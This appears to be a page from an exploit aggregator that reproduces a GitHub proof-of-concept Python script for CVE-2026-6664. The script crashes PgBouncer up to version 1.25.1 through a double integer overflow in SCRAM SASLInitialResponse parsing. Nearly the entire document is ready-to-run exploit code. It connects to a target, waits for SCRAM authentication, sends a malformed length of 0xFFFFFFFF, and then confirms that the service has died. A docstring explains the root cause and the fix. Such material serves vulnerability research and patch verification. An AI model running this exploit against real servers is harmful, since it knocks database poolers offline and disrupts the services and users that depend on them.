5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-6664 PoC — PgBouncer crash via integer overflow in mbuf_get_bytes()

Affected : PgBouncer <= 1.25.1
Fixed in : 1.25.2 (commit ddc63c2175825bca9ef3c0a528280acaad76dbaa)

Root cause
----------
In lib/usual/mbuf.h the bounds check reads:

    if (buf->read_pos + len > buf->write_pos)   // BUG: 32-bit unsigned overflow

Since read_pos / write_pos / len are all `unsigned` (32-bit), the sum wraps.
The fix changes it to subtraction form:

    if (len > buf->write_pos - buf->read_pos)   // SAFE

Attack path (double integer overflow)
--------------------------------------
Client → PgBouncer SASLInitialResponse ('p' message) parsing in client.c:

    mbuf_get_string  (&pkt->data, &mech)       // "SCRAM-SHA-256\\0" → read_pos = 14
    mbuf_get_uint32be(&pkt->data, &length)     // attacker-controlled → read_pos = 18
    mbuf_get_bytes   (&pkt->data, length, &data)  ← OVERFLOW 1

With length = 0xFFFFFFFF (uint32_t):
    18 + 0xFFFFFFFF = 0x100000011 mod 2^32 = 17
    write_pos = 22  →  17 > 22 is FALSE  →  bounds check bypassed ✓

scram_client_first(client, 0xFFFFFFFF, data) called  (client.c:1112-1115):

    ibuf = malloc(datalen + 1);        ← OVERFLOW 2: uint32(0xFFFFFFFF+1) = 0 → malloc(0) → non-NULL
    memcpy(ibuf, data, datalen);       ← reads 4 GB from 4-byte packet buffer → SIGSEGV (exit 139)

Usage
-----
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 6432    # host (pgbouncer exposed on 6432)
    python3 poc.py pgbouncer 5432    # inside docker-compose network
"""

import socket, struct, sys, time

HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 6432
USER = 'testuser'
DB   = 'testdb'

# ── Protocol helpers ──────────────────────────────────────────────────────────

def pack_msg(mtype: bytes, body: bytes) -> bytes:
    return mtype + struct.pack('>I', len(body) + 4) + body

def send_startup(sock, user: str, db: str):
    params = b'user\x00' + user.encode() + b'\x00database\x00' + db.encode() + b'\x00\x00'
    body   = struct.pack('>I', 196608) + params  # protocol 3.0
    sock.sendall(struct.pack('>I', len(body) + 4) + body)

def recv_msg(sock):
    hdr = b''
    while len(hdr) < 5:
        chunk = sock.recv(5 - len(hdr))
        if not chunk:
            raise EOFError("connection closed")
        hdr += chunk
    mtype  = hdr[0:1]
    length = struct.unpack('>I', hdr[1:5])[0]
    body   = b''
    want   = length - 4
    while len(body) < want:
        chunk = sock.recv(want - len(body))
        if not chunk:
            raise EOFError("connection closed mid-message")
        body += chunk
    return mtype, body

def wait_for_port(host, port, retries=30, delay=2):
    for i in range(retries):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.close()
            return True
        except OSError:
            print(f"  waiting for {host}:{port} ({i+1}/{retries})...")
            time.sleep(delay)
    return False

# ── Exploit ───────────────────────────────────────────────────────────────────

def exploit():
    print(f"[*] CVE-2026-6664 — targeting {HOST}:{PORT}")

    if not wait_for_port(HOST, PORT):
        sys.exit(f"[-] {HOST}:{PORT} unreachable after retries")

    sock = socket.create_connection((HOST, PORT), timeout=10)
    print("[*] connected — sending startup message")
    send_startup(sock, USER, DB)

    while True:
        mtype, body = recv_msg(sock)
        if mtype == b'R':
            auth_type = struct.unpack('>I', body[:4])[0]
            if auth_type == 10:           # AuthenticationSASL
                print("[+] AuthenticationSASL received — SCRAM path confirmed")
                break
            if auth_type == 0:
                sys.exit("[-] AuthOK (no SCRAM) — set auth_type=scram-sha-256 in pgbouncer.ini")
        elif mtype == b'E':
            err = body.decode(errors='replace')
            sys.exit(f"[-] backend error: {err[:200]}")

    # ── Build malformed SASLInitialResponse ───────────────────────────────────
    #
    # Buffer layout when mbuf_get_bytes is called (read_pos = 18):
    #   bytes  0–13  "SCRAM-SHA-256\0"  (consumed by mbuf_get_string)
    #   bytes 14–17  <overflow_len>     (consumed by mbuf_get_uint32be)
    #   bytes 18–21  actual_data        (only 4 real bytes)
    #
    # Overflow 1 — mbuf bounds check bypass (client.c:1336):
    #   read_pos=18, len=0xFFFFFFFF → 18+0xFFFFFFFF = 0x100000011 mod 2^32 = 17
    #   write_pos=22 → 17 > 22 is FALSE → check bypassed ✓
    #
    # Overflow 2 — malloc size wraps to 0 (client.c:1112):
    #   datalen=0xFFFFFFFF (uint32_t) → datalen+1 wraps to 0 in 32-bit → malloc(0)
    #   glibc malloc(0) returns non-NULL unique pointer
    #
    # Crash — memcpy reads 4 GB from 4-byte buffer (client.c:1115):
    #   memcpy(ibuf, data, 0xFFFFFFFF) — source has only 4 bytes before unmapped pages
    #   → SIGSEGV (exit 139)

    OVERFLOW_LEN = 0xFFFFFFFF       # double overflow: bypasses bounds check AND wraps malloc size to 0
    actual_data  = b'n,,n'          # 4 bytes; makes write_pos=22 > 17 (wrapped bound check result)

    mechanism = b'SCRAM-SHA-256\x00'
    sasl_body = mechanism + struct.pack('>I', OVERFLOW_LEN) + actual_data

    print(f"[*] sending malformed SASLInitialResponse:")
    print(f"    claimed sasl len  : 0x{OVERFLOW_LEN:08X}  ({OVERFLOW_LEN})")
    wrapped_check = (18 + OVERFLOW_LEN) & 0xFFFFFFFF
    print(f"    bounds bypass     : read_pos(18) + 0x{OVERFLOW_LEN:08X} = {wrapped_check} mod 2^32 < write_pos(22) → bypassed")
    print(f"    malloc size wrap  : uint32(0xFFFFFFFF + 1) = 0 → malloc(0) → non-NULL")
    print(f"    crash             : memcpy(ibuf, data, 0xFFFFFFFF) reads 4 GB from 4-byte source → SIGSEGV")

    sock.sendall(pack_msg(b'p', sasl_body))

    try:
        sock.settimeout(10)
        mtype, body = recv_msg(sock)
        print(f"[!] unexpected response type={mtype!r}: {body[:80]!r}")
    except (EOFError, ConnectionResetError, BrokenPipeError):
        print("[+] connection reset — crash in progress")
    except socket.timeout:
        print("[?] timeout — pgbouncer stuck in memcpy (OOM or slow crash)")
    finally:
        sock.close()

    print("[*] waiting for pgbouncer to die...")
    for i in range(15):
        time.sleep(1)
        try:
            s2 = socket.create_connection((HOST, PORT), timeout=2)
            s2.close()
            print(f"    still alive ({i+1}s)...")
        except OSError:
            print(f"[+] CRASH CONFIRMED (exit 139 / SIGSEGV) — pgbouncer down after {i+1}s")
            return
    print("[!] pgbouncer survived — check system overcommit / memory limits")


if __name__ == '__main__':
    exploit()